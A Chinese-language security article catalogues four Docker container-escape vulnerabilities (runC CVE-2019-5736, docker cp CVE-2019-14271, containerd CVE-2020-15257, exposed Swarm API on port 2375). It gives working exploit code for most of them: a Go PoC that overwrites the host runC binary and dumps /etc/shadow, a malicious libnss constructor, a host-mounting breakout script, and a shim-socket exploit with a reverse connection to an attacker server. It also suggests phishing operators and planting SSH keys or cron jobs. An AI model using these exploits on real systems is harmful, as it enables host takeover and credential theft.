干貨 | 常見的Docker容器漏洞總結
Docker-RunC漏洞致容器逃逸(CVE-2019-5736)
利用條件
- Docker Version < 18.09.2
- RunC Version <1.0-rc6
- 攻擊者具有容器文件上傳權限 & 管理員使用exec訪問容器 || 攻擊者具有啟動容器權限
漏洞原理
攻擊者可以將容器中的目標文件替換成指向runC的自己的文件來欺騙runC執行自己。比如目標文件是/bin/bash,將它替換成指定解釋器路徑為#!/proc/self/exe的可執行腳本,在容器中執行/bin/bash時將執行/proc/self/exe,它指向host上的runC文件。然后攻擊者可以繼續寫入/proc/self/exe試圖覆蓋host上的runC文件。但是一般來說不會成功,因為內核不允許在執行runC時覆蓋它。為了解決這個問題,攻擊者可以使用O_PATH標志打開/proc/self/exe的文件描述符,然后通過/proc/self/fd/使用O_WRONLY標志重新打開文件,并嘗試在一個循環中從一個單獨的進程寫入該文件。當runC退出時覆蓋會成功,在此之后,runC可以用來攻擊其它容器或host。
漏洞POC
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
漏洞利用
#攻擊者在容器內執行 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #編譯POC chmod 777 main ./main #執行Payload
后續可結合釣魚郵件等手法,等待運維人員去通過exec訪問容器的/bin/bash。使用如下命令:
sudo docker exec -it cafa20cfb0f9 /bin/sh
ref:
https://github.com/Frichetten/CVE-2019-5736-PoC
https://www.anquanke.com/post/id/170762
Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)
利用條件
- Docker Version == 19.03 && <19.03.1
漏洞原理
Docker采用Golang編寫,更具體一些,存在漏洞的Docker版本采用Go v1.11編譯。在這個版本中,包含嵌入式C代碼(cgo)的某些package會在運行時動態加載共享庫。這些package包括net及os/user,docker-tar都用到了這兩個package,會在運行時動態加載一些libnss_*.so庫。正常情況下,程序庫會從宿主機的文件系統中加載,然而由于docker-tar會chroot到容器中,因此會從容器的文件系統中加載這些庫。這意味著docker-tar會加載并執行受容器控制的代碼。
漏洞POC
惡意so:libnss_files.so by C
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
breakout腳本
#!/bin/bash umount /host_fs && rm -rf /host_fs mkdir /host_fs mount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host_fs # mount host root at /host_fs echo "Hello from within the container!" > /host_fs/evil
漏洞利用
待完善,暫未復現,大致思路如下
1.編譯libnss_files.c為libnss_files.so
2.修改breakout腳本,例如寫ssh key 等
3.等待或通過釣魚郵件等手段,使得運維人員執行docker cp
ref:
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)
利用條件
- containerd < 1.4.3
- containerd < 1.3.9
- 使用hostnetwork網絡模式啟動容器 && 使用root用戶(UID:0)啟動容器
漏洞原理
使用hostnetwork網絡模式中,容器和主機共享網絡命名空間,因此在容器內可以訪問host特定的socket文件(shim.sock)。可通過啟動一個新的容器,該容器掛在host目錄到容器的/host目錄,即可實現對host完全的讀寫。
漏洞POC
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)
func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
return true
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}
return
}
漏洞利用
1.下載容器滲透工具包
https://github.com/cdk-team/CDK/releases/tag/v1.0.1
2.在服務器NC監聽端口
chmod +x cdk_linux_amd64 ./cdk_linux_amd64 run shim-pwn <自己服務器IP>
ref:
https://www.cdxy.me/?p=837
https://zhuanlan.zhihu.com/p/332334413
Docker-Swarm未授權訪問致命令執行
利用條件
- 使用Docker Swarm并且未對2375端口訪問加任何限制訪問措施
漏洞原理
在使用Docker Swarm的時候,管理的Docker 節點上會開放一個TCP端口2375,綁定在0.0.0.0上,http訪問會返回 404 page not found ,其實這是 Docker Remote API,可以執行Docker命令,比如訪問 http://host:2375/containers/json 會返回服務器當前運行的 container列表,和在Docker CLI上執行Docker ps的效果一樣,其他操作比如創建/刪除container,拉取image等操作也都可以通過API調用完成。
漏洞POC
docker -H tcp://x.x.x.x:2375 ps
漏洞利用
可通過掛載host目錄,之后使用crontab或者寫ssh key來利用。